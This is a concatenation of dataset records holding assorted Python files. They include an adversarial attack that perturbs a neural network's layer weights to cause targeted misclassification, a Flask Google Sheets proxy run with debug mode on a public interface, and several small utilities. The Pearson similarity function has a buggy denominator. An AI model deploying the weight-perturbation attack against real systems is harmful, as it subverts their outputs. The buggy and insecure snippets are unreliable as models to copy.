LA\n\nBINARY_SEARCH_STEPS = 30 # number of times to adjust the constant with binary search\nMAX_ITERATIONS = 10000 # number of iterations to perform gradient descent\nABORT_EARLY = True # if we stop improving, abort gradient descent early\nLEARNING_RATE = 1e-2 # larger values converge faster to less accurate results\nTARGETED = True # should we target one specific class? or just be wrong?\nCONFIDENCE = 0 # how strong the adversarial example should be\nINITIAL_CONST = 1e-3 # the initial constant c to pick as a first guess\nRO = 20\nLAYERNUMBER=15\nUSEKERNEL=True\nKERNELBIAS=True\nSS = 10\n\nclass LADMML2re:\n def __init__(self, sess, model, batch_size=1, confidence=CONFIDENCE, layernum=LAYERNUMBER,\n targeted=TARGETED, learning_rate=LEARNING_RATE, s=SS,\n binary_search_steps=BINARY_SEARCH_STEPS, max_iterations=MAX_ITERATIONS,\n abort_early=ABORT_EARLY, ro=RO, use_kernel=USEKERNEL, kernel_bias=KERNELBIAS):\n \"\"\"\n The L_2 optimized attack.\n\n This attack is the most efficient and should be used as the primary\n attack to evaluate potential defenses.\n\n Returns adversarial examples for the supplied model.\n\n confidence: Confidence of adversarial examples: higher produces examples\n that are farther away, but more strongly classified as adversarial.\n batch_size: Number of attacks to run simultaneously.\n targeted: True if we should perform a targetted attack, False otherwise.\n learning_rate: The learning rate for the attack algorithm. Smaller values\n produce better results but are slower to converge.\n binary_search_steps: The number of times we perform binary search to\n find the optimal tradeoff-constant between distance and confidence.\n max_iterations: The maximum number of iterations. Larger values are more\n accurate; setting too small will require a large learning rate and will\n produce poor results.\n abort_early: If true, allows early aborts if gradient descent gets stuck.\n initial_const: The initial tradeoff-constant to use to tune the relative\n importance of distance and confidence. If binary_search_steps is large,\n the initial constant is not important.\n boxmin: Minimum pixel value (default -0.5).\n boxmax: Maximum pixel value (default 0.5).\n \"\"\"\n\n self.model = model\n self.sess = sess\n self.TARGETED = targeted\n self.LEARNING_RATE = learning_rate\n self.MAX_ITERATIONS = max_iterations\n self.BINARY_SEARCH_STEPS = binary_search_steps\n self.ABORT_EARLY = abort_early\n self.CONFIDENCE = confidence\n self.batch_size = batch_size\n self.use_kernel = use_kernel\n self.ro = ro\n self.s = s\n self.layernum = layernum\n self.kernel_bias = kernel_bias\n self.grad = self.gradient_descent(sess, model)\n\n def compare(self, x, y):\n if not isinstance(x, (float, int, np.int64)):\n x = np.copy(x)\n if self.TARGETED:\n x[y] -= self.CONFIDENCE\n else:\n x[y] += self.CONFIDENCE\n x = np.argmax(x)\n if self.TARGETED:\n return x == y\n else:\n return x != y\n\n def gradient_descent(self, sess, model):\n\n batch_size = self.batch_size\n shape = (batch_size, model.image_size, model.image_size, model.num_channels)\n\n timg = tf.Variable(np.zeros(shape), dtype=tf.float32)\n tlab = tf.Variable(np.zeros((batch_size, model.num_labels)), dtype=tf.float32)\n # and here's what we use to assign them\n assign_timg = tf.placeholder(tf.float32, shape)\n assign_tlab = tf.placeholder(tf.float32, (batch_size, model.num_labels))\n\n if not self.kernel_bias:\n\n if self.use_kernel:\n aaa = model.model.layers[self.layernum].kernel\n else:\n aaa = model.model.layers[self.layernum].bias\n\n tdelt = tf.Variable(np.zeros(aaa.shape, dtype=np.float32))\n assign_tdelt = tf.placeholder(tf.float32, aaa.shape)\n\n if self.use_kernel:\n model.model.layers[self.layernum].kernel = tdelt + model.model.layers[self.layernum].kernel\n bbb = model.model.layers[self.layernum].kernel\n else:\n model.model.layers[self.layernum].bias = tdelt + model.model.layers[self.layernum].bias\n bbb = model.model.layers[self.layernum].bias\n\n else:\n aaa = model.model.layers[self.layernum].kernel\n aaa2 = model.model.layers[self.layernum].bias\n\n tdelt_kernel = tf.Variable(np.zeros(aaa.shape, dtype=np.float32))\n assign_tdelt_kernel = tf.placeholder(tf.float32, aaa.shape)\n tdelt_bias = tf.Variable(np.zeros(aaa2.shape, dtype=np.float32))\n assign_tdelt_bias = tf.placeholder(tf.float32, aaa2.shape)\n\n model.model.layers[self.layernum].kernel = tdelt_kernel + model.model.layers[self.layernum].kernel\n model.model.layers[self.layernum].bias = tdelt_bias + model.model.layers[self.layernum].bias\n bbb = model.model.layers[self.layernum].kernel\n bbb2 = model.model.layers[self.layernum].bias\n\n output = model.predict(timg)\n l2dist_real = tf.reduce_sum(tf.square(tdelt_kernel)) + tf.reduce_sum(tf.square(tdelt_bias))\n l2dist_real = tf.sqrt(l2dist_real)\n real = tf.reduce_sum(tlab * output, 1)\n other = tf.reduce_max((1 - tlab) * output - (tlab * 10000), 1)\n\n if self.TARGETED:\n # if targetted, optimize for making the other class most likely\n loss1 = tf.maximum(0.0, other - real + self.CONFIDENCE)\n else:\n # if untargeted, optimize for making this class least likely.\n loss1 = tf.maximum(0.0, real - other + self.CONFIDENCE)\n\n wei = np.ones(batch_size)\n wei[0:self.s] = 1000.0 * wei[0:self.s]\n loss1 = loss1 * wei\n loss1 = 0.5 * tf.reduce_sum(loss1)\n\n grad_tdelt_kernel, grad_tdelt_bias = tf.gradients(loss1, [tdelt_kernel, tdelt_bias])\n\n # model.model.layers[13].kernel = model.model.layers[13].kernel - tdelt\n if not self.kernel_bias:\n if self.use_kernel:\n model.model.layers[self.layernum].kernel = aaa\n ccc = model.model.layers[self.layernum].kernel\n else:\n model.model.layers[self.layernum].bias = aaa\n ccc = model.model.layers[self.layernum].bias\n else:\n model.model.layers[self.layernum].kernel = aaa\n model.model.layers[self.layernum].bias = aaa2\n\n ccc = model.model.layers[self.layernum].kernel\n ccc2 = model.model.layers[self.layernum].bias\n\n # these are the variables to initialize when we run\n setup = []\n setup.append(timg.assign(assign_timg))\n setup.append(tlab.assign(assign_tlab))\n setup.append(tdelt_kernel.assign(assign_tdelt_kernel))\n setup.append(tdelt_bias.assign(assign_tdelt_bias))\n\n def doit(imgs, labs, z):\n\n batch = imgs[:batch_size]\n batchlab = labs[:batch_size]\n akernel = model.model.layers[self.layernum].kernel\n abias = model.model.layers[self.layernum].bias\n z1 = z[0: akernel.shape[0] * akernel.shape[1]]\n z2 = z[akernel.shape[0] * akernel.shape[1]:]\n z1 = np.reshape(z1, akernel.shape)\n z2 = np.reshape(z2, abias.shape)\n\n sess.run(setup, {assign_timg: batch, assign_tlab: batchlab, assign_tdelt_kernel: z1, assign_tdelt_bias:z2})\n aaaa, bbbb, cccc = sess.run([aaa, bbb, ccc])\n # print(LA.norm(aaaa - bbbb))\n # print(LA.norm(aaaa - cccc))\n scores, l2dist, delt_grad_kernel, delt_grad_bias = sess.run([output, l2dist_real,\n grad_tdelt_kernel, grad_tdelt_bias])\n\n delt_gradss = np.hstack((np.reshape(delt_grad_kernel, (-1)), np.reshape(delt_grad_bias, (-1))))\n return scores, l2dist, np.array(delt_gradss)\n\n return doit\n\n def attack(self, imgs, targets):\n \"\"\"\n Perform the L_2 attack on the given images for the given targets.\n\n If self.targeted is true, then the targets represents the target labels.\n If self.targeted is false, then targets are the original class labels.\n \"\"\"\n r = []\n print('go up to', len(imgs))\n for i in range(0, len(imgs), self.batch_size):\n print('tick', i)\n r.extend(self.attack_batch(imgs[i:i + self.batch_size], targets[i:i + self.batch_size]))\n return np.array(r)\n\n def attack_batch(self, imgs, labs):\n \"\"\"\n Run the attack on a batch of images and labels.\n \"\"\"\n batch_size = self.batch_size\n if self.kernel_bias:\n aab = self.model.model.layers[self.layernum].kernel\n aab2 = self.model.model.layers[self.layernum].bias\n\n o_bestl2 = 1e10\n o_bestattack = 0.0 * np.ones(aab.shape[0]*aab.shape[1] + aab2.shape[0])\n o_successrate = 0.0\n\n delt = 0.0 * np.ones(aab.shape[0]*aab.shape[1] + aab2.shape[0])\n s = 0.0 * np.ones(aab.shape[0]*aab.shape[1] + aab2.shape[0])\n\n alpha = 20\n for outer_step in range(self.BINARY_SEARCH_STEPS):\n print(outer_step, o_bestl2)\n\n temp = delt - s\n# z = np.where(np.abs(temp) ** 2 < (2.0 / self.ro), 0, temp)\n z = self.ro/(2.0 + self.ro) * temp\n\n scor, _, delt_grads = self.grad(imgs, labs, delt)\n\n eta = 1/np.sqrt(outer_step+1)\n delt = 1/(alpha / eta * imgs.shape[0] + self.ro) * \\\n ( self.ro * (z + s) + alpha / eta * imgs.shape[0] * delt - delt_grads)\n\n scores, l2, _ = self.grad(imgs, labs, delt)\n s = s + z - delt\n\n score_count = []\n for e, (sc) in enumerate(scores):\n # if e < self.s:\n if self.compare(sc, np.argmax(labs[e])):\n score_count.append(1)\n else:\n score_count.append(0)\n\n successrate = np.mean(score_count)\n\n print(successrate)\n print(l2)\n if successrate >= o_successrate:\n o_successrate = successrate\n l0s = np.count_nonzero(delt)\n o_bestl2 = l0s\n o_bestattack = delt\n scores_backup = scores\n\n return o_bestattack\n","sub_path":"l2_sidechannel_attack_v5.py","file_name":"l2_sidechannel_attack_v5.py","file_ext":"py","file_size_in_byte":10958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"180208269","text":"# -*- coding: utf-8 -*-\n\nfrom flask import Flask, request, Response\nimport csv\nimport json\nimport os\nimport re\nimport requests\n\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\napp = Flask(__name__)\n\n@app.route(\"//\")\ndef dump(doc_id):\n\n CSV_URL = \"http://docs.google.com/feeds/download/spreadsheets/Export?key=%s&exportFormat=csv&gid=0\" % doc_id\n csv_file = requests.get(CSV_URL).text\n\n fields_row = int(request.args.get('fields_row', 0))\n\n fields = [re.sub(r'\\W+', '_', field.lower()) for field in csv_file.split(\"\\r\\n\")[fields_row].split(\",\")]\n reader = csv.DictReader(csv_file.split(\"\\r\\n\")[fields_row+1:], fields)\n \n response_body = json.dumps([row for row in reader])\n\n response = Response(response_body)\n response.headers['Content-type'] = 'text/json'\n\n return response\n\nif __name__ == \"__main__\":\n port = int(os.environ.get(\"PORT\", 5000))\n app.debug = port == 5000\n app.run(host='0.0.0.0', port=port)","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"139906282","text":"# 데이터 베이스 연결하기\nimport sqlite3\n\nfilepath = \"./sql/text2.sqlite\"\nconn = sqlite3.connect(filepath)\n\n# 테이블 생성하기\ncur = conn.cursor()\n# 만약 items라는 테이블이 존재하면 지우라.\ncur.execute(\"DROP TABLE IF EXISTS items\")\ncur.execute(\"\"\"\n CREATE TABLE items(\n item_id INTEGER PRIMARY KEY,\n name TEXT,\n price INTEGER)\"\"\")\nconn.commit()\n\n# 데이터 넣기\n# cursor.execute()\ncur = conn.cursor()\ncur.execute(\"INSERT INTO items (name,price) VALUES(?,?)\", (\"Orange\",5200))\nconn.commit()\n\n# 여러데이터 연속으로 넣기\n# cursor.executemany()\ncur = conn.cursor()\ndata = [(\"Mango\",7700), (\"Kiwi\",4000), (\"Grape\",8000),(\"Peach\",9400),(\"Persimmon\",7000),(\"Banana\", 4000)]\ncur.executemany(\"INSERT INTO items (name,price) VALUES(?,?)\", data)\nconn.commit()\n\n# 4000-7000원 사이의 데이터 추출하기\n# insert하는 것 처럼 ?에 들어갈 수치를 변수로 지정해놓고\n# cursor.execute()로 쿼리문을 만들어준다.\ncur = conn.cursor()\nprice_range = (4000, 7000)\ncur.execute(\"SELECT * FROM items WHERE price >=? AND price <=?\",price_range)\n\n# cursor.fetchall()로 쿼리문의 결과에 대해 모두 출력 하게 한다.\nfr_list = cur.fetchall()\nfor fr in fr_list:\n print(fr)","sub_path":"crawling_db/sqlite_5.py","file_name":"sqlite_5.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"253259220","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport getopt\nimport sys\n\nfrom PIL import Image\n\n\ndef noising(input_filename, output_filename):\n input_image = Image.open(input_filename)\n input_image.save(output_filename, quality=100)\n pass\n\n\ndef main(args):\n input_filename = None\n output_filename = None\n\n # print('ARGV :', sys.argv[1:])\n\n options, remainder = getopt.getopt(\n sys.argv[1:], 'i:o:v',\n ['input', 'output='])\n # print('OPTIONS :', options)\n\n for opt, arg in options:\n if opt in ('-i', '--input'):\n input_filename = arg\n elif opt in ('-o', '--output'):\n output_filename = arg\n\n print('INPUT :', input_filename)\n print('OUTPUT :', output_filename)\n print('REMAINING :', remainder)\n\n if input_filename and output_filename:\n noising(input_filename, output_filename)\n else:\n print('input_filename or output_filename are None')\n\n return 0\n\n\nif __name__ == '__main__':\n import sys\n sys.exit(main(sys.argv))\n","sub_path":"watermarking/static/watermarking/noise.py","file_name":"noise.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"533567012","text":"import time\r\n#import pymsgbox\r\nimport easygui\r\n\r\nprint(\"What do you want to get reminded\")\r\ntext = str(input())\r\n\r\nprint(\"In how many minutes do you want to get reminded?\")\r\ntimer = float(input())\r\nprint(\"The timer is set is\", timer, \"minute(s)\")\r\ntimer = timer *60\r\ntime.sleep(timer)\r\nprint(\"This is time for\", text)\r\n#pymsgbox.alert('ScrumPost!', 'Alert')\r\n#response = pymsgbox.prompt('Done?Click Ok')\r\neasygui.msgbox(\"Reminder Msg for SCRUM POST!\", title=\"ScrumPost\")","sub_path":"example_pgms/real_apps/timely_reminder.py","file_name":"timely_reminder.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"485267582","text":"'''\nCreated on Jan 2, 2017\n\n@author: Chris\n'''\n\nfrom Tkinter import *\nfrom Tkinter import Frame\n\nfrom ttk import Treeview\nfrom ttk import Notebook\nimport os\n\n\nimport logging as log\n\nfrom src.questrade.classes import market\nimport src.questrade.classes.account as Account\nfrom src.questrade.classes.token import Token\nfrom src.questrade.enums import dictionary as qtD\n\nuserpath = os.getenv(\"HOME\")\nfullpath = userpath + '/' + 'test.log'\nlog.basicConfig(filename=(fullpath), format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\nlog.warning('----------Start of CLASSTEST')\n\nsymbolIdList = []\n\nsymbols =['AGU.TO','MX.TO','IT.TO']\nprint(symbols)\nsymbolInfo = market.Symbol(symbols)\nfor symbol in symbolInfo.symbolList:\n print(str(symbol))\n symbolIdList.append(str(symbol[qtD.Symbols.symbolId]))\n \nprint('')\nprint(str(symbolIdList))\nprint('')\nquotes = market.Quotes(symbolIdList)\nfor quote in quotes.quoteList:\n print(str(quote[qtD.Quotes.symbol]) + ' last trade price: ' + str(quote[qtD.Quotes.lastTradePrice]))\n \n\n\n\nkey = Token()\nprint(key.call_header())\nprint(key.api_server())\nprint(key.server_time())\n\n\nacct = Account.AccountList()\nprint(acct.userId)\n\n\nbalances =[]\n\nfor i in range(acct.accountQty):\n index = (i)\n print('index',index)\n print('type', acct.type[index])\n print('account', str(acct.number[index]))\n print('')\n balances.append(Account.AccountBalances(acct.number[index]))\n\n\n\nroot = Tk()\n\n\ndef OnReleaseClick(event):\n curritem = tree.selection()[0]\n statuslabel.config(text=\"you clicked on \" + tree.item(curritem,\"text\"))\n try:\n values = tree.item(curritem, \"values\")[0]\n print(values)\n except:\n print('no values for AcctId')\n \n\n\ntree = Treeview(root, height = 5)\ntree.grid(row=0,column=0)\n\n\nn = Notebook(root, height=100, width = 300)\nn.grid(row=1,column=1)\nf1 = Frame(n) # first page, which would get widgets gridded into it\nf2 = Frame(n) # second page\nn.add(f1, text='One')\nn.add(f2, text='Two')\nn.grid(row=2)\n\nf1button= Button(f1, text=\"test\", callback=None)\nf1button.grid(row=0,column=0)\n\nroot.wm_state('zoomed')\n\n\n\nprint(root.maxsize())\n\n\n \n# Inserted at the root, program chooses id:\ntree[\"columns\"] = (\"AcctId\",\"CAD\",\"USD\")\n\ntree.column(\"AcctId\", width = 100)\ntree.heading(\"AcctId\",text=\"AcctID\")\ntree.column(\"AcctId\", anchor=\"center\") \n\ntree.column(\"CAD\", width=100)\ntree.heading(\"CAD\", text=\"CAD\")\ntree.column(\"CAD\", anchor=\"center\")\n \ntree.column(\"USD\", width = 100)\ntree.heading(\"USD\",text=\"USD\")\ntree.column(\"USD\", anchor=\"center\") \n\nfor i in range(acct.accountQty):\n index = (i) \n tree.insert('', 'end', acct.type[index],text=acct.type[index], \n values=(\n acct.number[index],\n '$1,000', #+ '{:7,.2f}'.format(balances[index].combinedBalances[0]['cash']),\n '$2,000' #+ '{:7,.2f}'.format(balances[index].combinedBalances[1]['cash'])\n )\n )\n \n #tree.insert(acct.type[index], 'end',qtD.Accounts.isbilling+str(acct.number[index]), text = 'Is Billing: ' + str(acct.isBilling[index]))\n #tree.insert(acct.type[index], 'end', qtD.Accounts.isprimary+str(acct.number[index]), text = 'Is Primary: ' + str(acct.isPrimary[index]))\n #tree.insert(acct.type[index], 'end', qtD.Accounts.client_account_type+acct.number[index], text = 'Client Account Type: ' + acct.clientAccountType[index])\n\n\ntree.bind(\"\", OnReleaseClick)\n\n\ntree.column('#0',width=90)\ntree.heading('#0', text='Type')\nstatuslabel = Label(root, bd=1, relief=SUNKEN, anchor=W)\nstatuslabel.config(text='test status bar', width =75)\nstatuslabel.grid(row=3, columnspan = 2)\n\nroot.update()\nmainloop()\n\n\n \n\n","sub_path":"QuestradeAPI/src/questrade/classtest.py","file_name":"classtest.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"40660251","text":"try:\n import pprint\n import pickle\n import math as mat\nexcept ImportError:\n print(\"Incomplete libraries, unable to proceed\")\n\n#打开由fp.py生成的pickle对象文件\ntry:\n with open('data.pkl','rb') as f:\n print('Success opening data.pkl')\n try:\n user_tags = pickle.load(f)\n print('Success fetching data from file')\n except IOError:\n print('Cannot fetch data from file')\nexcept IOError:\n print('Cannot open data files')\n\nprint(user_tags)\n\nwith open('user_list.pkl','rb') as f:\n user_list = pickle.load(f)\n\nprint(user_list)\nprint(len(user_list))\n\n#Pearson相关系数\n\ndef pearson(rating1,rating2):\n sum_xy = 0\n sum_x = 0\n sum_y = 0\n sum_x2 = 0\n sum_y2 = 0\n n = 0\n for key in rating1:\n if key in rating2:\n n += 1\n x = rating1[key]\n y = rating2[key]\n sum_xy += x*y\n sum_x += x\n sum_y += y\n sum_x2 += x**2\n sum_y2 += y**2\n #无相同标签返回0值\n if n is 0:\n return 0\n #计算分母\n denominator = mat.sqrt(sum_y2 - (sum_x**2)/n) * mat.sqrt(sum_y2-(sum_y**2)/n)\n if denominator is 0:\n return 0\n else:\n return (sum_xy-(sum_x*sum_y)/n)/denominator\n\n#Minkowski Distance Function\ndef minkowski(rating1,rating2,r):\n distance = 0\n commonRatings = False\n for key in rating1:\n if key in rating2:\n distance += pow(abs(rating1[key] - rating2[key]),r)\n commonRatings = True\n if commonRatings:\n return pow(distance,1/r)\n else:\n return 0 #无相同标签\n\n","sub_path":"Finales/recomand.py","file_name":"recomand.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"9643151","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nfrom __future__ import absolute_import, division, print_function\nfrom collections import OrderedDict\nfrom warnings import warn\n\nfrom astropy import units as u\nfrom astropy import coordinates\nfrom astropy.coordinates import BaseCoordinateFrame\nfrom astropy import log\n\n__all__ = ['ShapeList', 'Shape']\n\nfrom .. import shapes\nfrom ..core import PixCoord\nfrom .ds9.core import DS9RegionParserWarning, DS9RegionParserError\nfrom .crtf.core import CRTFRegionParserWarning, CRTFRegionParserError\n\n\nclass ShapeList(list):\n \"\"\"\n List of Shape\n \"\"\"\n def to_regions(self):\n regions = list()\n for shape in self:\n # Skip elliptical annulus for now\n if shape.region_type == 'ellipse' and len(shape.coord) > 5:\n msg = 'Skipping elliptical annulus {}'.format(shape)\n warn(msg, DS9RegionParserWarning)\n continue\n log.debug(shape)\n region = shape.to_region()\n log.debug(region)\n regions.append(region)\n return regions\n\n\nclass Shape(object):\n \"\"\"\n Helper class to represent a DS9/CRTF Region.\n\n This serves as intermediate step in the parsing process.\n\n Parameters\n ----------\n format_type : str\n File Format type\n coordsys : str\n Coordinate system\n region_type : str\n Region type\n coord : list of `~astropy.coordinates.Angle` or `~astropy.units.Quantity`\n Coordinates\n meta : dict\n Meta attributes\n composite : bool\n Composite region\n include : bool\n Include/exclude region\n \"\"\"\n\n shape_to_sky_region = {'DS9': dict(circle=shapes.CircleSkyRegion,\n ellipse=shapes.EllipseSkyRegion,\n box=shapes.RectangleSkyRegion,\n polygon=shapes.PolygonSkyRegion,\n annulus=shapes.CircleAnnulusSkyRegion,\n line=shapes.LineSkyRegion,\n point=shapes.PointSkyRegion\n ),\n\n 'CRTF': dict(circle=shapes.CircleSkyRegion,\n ellipse=shapes.EllipseSkyRegion,\n centerbox=shapes.RectangleSkyRegion,\n rotatedbox=shapes.RectangleSkyRegion,\n pol=shapes.PolygonSkyRegion,\n annulus=shapes.CircleAnnulusSkyRegion,\n line=shapes.LineSkyRegion,\n point=shapes.PointSkyRegion)\n }\n shape_to_pixel_region = {'DS9': dict(circle=shapes.CirclePixelRegion,\n ellipse=shapes.EllipsePixelRegion,\n box=shapes.RectanglePixelRegion,\n polygon=shapes.PolygonPixelRegion,\n annulus=shapes.CircleAnnulusPixelRegion,\n line=shapes.LinePixelRegion,\n point=shapes.PointPixelRegion\n ),\n\n 'CRTF': dict(circle=shapes.CirclePixelRegion,\n ellipse=shapes.EllipsePixelRegion,\n centerbox=shapes.RectanglePixelRegion,\n rotatedbox=shapes.RectanglePixelRegion,\n poly=shapes.PolygonPixelRegion,\n annulus=shapes.CircleAnnulusPixelRegion,\n line=shapes.LinePixelRegion,\n point=shapes.PointPixelRegion\n )\n }\n\n error = {'DS9': DS9RegionParserError, 'CRTF': CRTFRegionParserError}\n warning = {'DS9': DS9RegionParserWarning, 'CRTF': CRTFRegionParserWarning}\n\n def __init__(self, format_type, coordsys, region_type, coord, meta, composite, include):\n\n from . import CRTFRegionParser, DS9Parser\n self.parser = {'DS9': DS9Parser, 'CRTF': CRTFRegionParser}\n\n self.format_type = format_type\n self.coordsys = coordsys\n self.region_type = region_type\n self.coord = coord\n self.meta = meta\n self.composite = composite\n self.include = include\n\n def __str__(self):\n ss = self.__class__.__name__\n ss += '\\nFormat Type : {}'.format(self.format_type)\n if self.format_type == 'CRTF':\n ss += '\\nType : {}'.format(self.meta.get('type', 'reg'))\n ss += '\\nCoord sys : {}'.format(self.coordsys)\n ss += '\\nRegion type : {}'.format(self.region_type)\n if self.region_type == 'symbol':\n ss += '\\nSymbol : {}'.format(self.meta['symbol'])\n if self.region_type == 'text':\n ss += '\\nText : {}'.format(self.meta['string'])\n ss += '\\nCoord: {}'.format(self.coord)\n ss += '\\nMeta: {}'.format(self.meta)\n ss += '\\nComposite: {}'.format(self.composite)\n ss += '\\nInclude: {}'.format(self.include)\n ss += '\\n'\n return ss\n\n def convert_coords(self):\n \"\"\"\n Process list of coordinates\n\n This mainly seaches for tuple of coordinates in the coordinate list and\n creates a SkyCoord or PixCoord object from them if appropriate for a\n given region type. This involves again some coordinate transformation,\n so this step could be moved to the parsing process\n \"\"\"\n if self.coordsys in self.parser[self.format_type].coordsys_mapping:\n coords = self._convert_sky_coords()\n else:\n coords = self._convert_pix_coords()\n\n if self.region_type == 'line':\n coords = [coords[0][0], coords[0][1]]\n\n return coords\n\n def _convert_sky_coords(self):\n \"\"\"\n Convert to sky coords\n \"\"\"\n parsed_angles = [(x, y)\n for x, y in zip(self.coord[:-1:2], self.coord[1::2])\n if (isinstance(x, coordinates.Angle) and\n isinstance(y, coordinates.Angle))\n ]\n frame = coordinates.frame_transform_graph.lookup_name(self.coordsys)\n\n lon, lat = zip(*parsed_angles)\n if hasattr(lon, '__len__') and hasattr(lat, '__len__') and len(lon) == 1 and len(lat) == 1:\n # force entries to be scalar if they are length-1\n lon, lat = u.Quantity(lon[0]), u.Quantity(lat[0])\n else:\n # otherwise, they are vector quantities\n lon, lat = u.Quantity(lon), u.Quantity(lat)\n sphcoords = coordinates.UnitSphericalRepresentation(lon, lat)\n coords = [frame(sphcoords)]\n\n if self.region_type != 'polygon':\n coords += self.coord[len(coords * 2):]\n\n return coords\n\n def _convert_pix_coords(self):\n \"\"\"\n Convert to pixel coordinates, `regions.PixCoord`\n \"\"\"\n if self.region_type in ['polygon', 'line', 'poly']:\n # have to special-case polygon in the phys coord case\n # b/c can't typecheck when iterating as in sky coord case\n coords = [PixCoord(self.coord[0::2], self.coord[1::2])]\n else:\n temp = [_.value for _ in self.coord]\n coord = PixCoord(temp[0], temp[1])\n coords = [coord] + temp[2:]\n\n return coords\n\n def to_region(self):\n \"\"\"\n Convert to region object\n \"\"\"\n\n coords = self.convert_coords()\n log.debug(coords)\n viz_keywords = ['color', 'dashed', 'width', 'point', 'font', 'symsize', 'symsize', 'fontsize', 'fontstyle',\n 'usetex', 'labelpos', 'labeloff', 'linewidth', 'linestyle']\n\n if isinstance(coords[0], BaseCoordinateFrame):\n reg = self.shape_to_sky_region[self.format_type][self.region_type](*coords)\n elif isinstance(coords[0], PixCoord):\n reg = self.shape_to_pixel_region[self.format_type][self.region_type](*coords)\n else:\n self._raise_error(\"No central coordinate\")\n\n reg.visual = OrderedDict()\n reg.meta = OrderedDict()\n for key in self.meta.keys():\n if key in viz_keywords:\n reg.visual[key] = self.meta[key]\n else:\n reg.meta[key] = self.meta[key]\n reg.meta['include'] = self.include\n return reg\n\n def _raise_error(self, msg):\n raise self.error[self.format_type](msg)\n","sub_path":"regions/io/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":8822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"441878107","text":"'''\n20.顺时针打印矩阵\n考虑矩阵为空的情况\n参数：矩阵、圈数标记、矩阵行数、矩阵列数、最终结果\n第二个函数中的两条if判断是为了防止单行或单列的情况，当打印半圈后会重复往回打印\n'''\ndef printMatrix(matrix):\n\trows = len(matrix) - 1\n\tcols = len(matrix[0]) - 1\n\tif not matrix:\n\t\treturn None\n\tstart = 0\t\t\t#圈数标记，从0开始\n\tres = []\n\twhile start * 2 <= rows and start * 2 <= cols:\n\t\tprint_circle(matrix, start, rows, cols, res)\n\t\tstart += 1\n\treturn res\ndef print_circle(matrix, start, rows, cols, res):\n\tendR = rows - start \t#最后一行标记\n\tendC = cols - start\t\t#最后一列标记\n\tfor c in range(start, endC+1):\n\t\tres.append(matrix[start][c])\n\tfor r in range(start+1, endR+1):\n\t\tres.append(matrix[r][endC])\n\tif start < endR and start < endC:\n\t\tfor c in range(endC-1, start-1, -1):\n\t\t\tres.append(matrix[endR][c])\n\tif start < endR and start < endC:\n\t\tfor r in range(endR-1, start, -1):\n\t\t\tres.append(matrix[r][start])\nif __name__ == '__main__':\n\tarr = [[1]]\n\tarr2 = [[1,2],\n\t\t\t[3,4]]\n\tarr3 = [[1,2,3,4,5],\n\t\t\t[6,7,8,9,10],\n\t\t\t[11,12,13,14,15],\n\t\t\t[16,17,18,19,20],\n\t\t\t[21,22,23,24,25]]\n\tarr4 = [[1],[2],[3],[4]]\n\tarr5 = [[1,2,3,4,5]]\n\tprint(printMatrix(arr))\n\tprint(printMatrix(arr2))\n\tprint(printMatrix(arr3))\n\tprint(printMatrix(arr4))\n\tprint(printMatrix(arr5))\n","sub_path":"数据结构与算法/剑指offer/20.顺时针打印矩阵.py","file_name":"20.顺时针打印矩阵.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"336195634","text":"\"\"\"\nSimilar to the concept of the global keyword, which we have seen in the section above,\nwe can use the keyword nonlocal inside the inner function to explicitly access a variable\nfrom the outer (enclosed) scope in order to modify its value.\n\nNote that the nonlocal keyword was added in Python 3.x and is not implemented in Python 2.x (yet)\n\"\"\"\n\n\na_var = 'global value'\n\n\ndef outer():\n a_var = 'local value'\n print('outer before:', a_var)\n\n def inner():\n nonlocal a_var\n a_var = 'inner value'\n print('in inner():', a_var)\n\n inner()\n print(\"outer after:\", a_var)\n\nouter()\n","sub_path":"LEGB/2_LEG/2_2_nonlocal.py","file_name":"2_2_nonlocal.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"359516083","text":"from macromanx import Mouse, Keyboard, Winman, Aux\nfrom subprocess import call\nimport sys\nfrom math import sqrt\n\nx,y = Aux.displayinfo()\n\nif not Winman.spinfocus(\"GNU Image Manipulation Program\", 60):\n print(\"Window not acquired.\")\n sys.exit(-1)\n\n# \ncall([\"notify-send\", \"Hands off the keyboard. The test begins in 3 seconds.\"])\nAux.wait(3, \"s\")\n\nprint(\"Debug info:\")\nprint(\"Making a new canvas.\")\nKeyboard.keycombo([\"Control_L\"], \"n\")\n\nif not Winman.spinfocus(\"New Image\"):\n sys.exit(1)\nKeyboard.keycombo([\"Alt_L\"], \"w\")\nKeyboard.typestring(\"500\")\nKeyboard.keycombo([\"Alt_L\"], \"e\")\nKeyboard.typestring(\"550\")\nKeyboard.hitkey(\"Return\")\n\nprint(\"Setting up canvas:\")\nif not Winman.spinfocus(\"500x550\"):\n sys.exit(2)\nKeyboard.hitkey(\"F11\")\nKeyboard.hitkey(\"1\")\nMouse.move(x/2, y/2)\n# Normalize screen 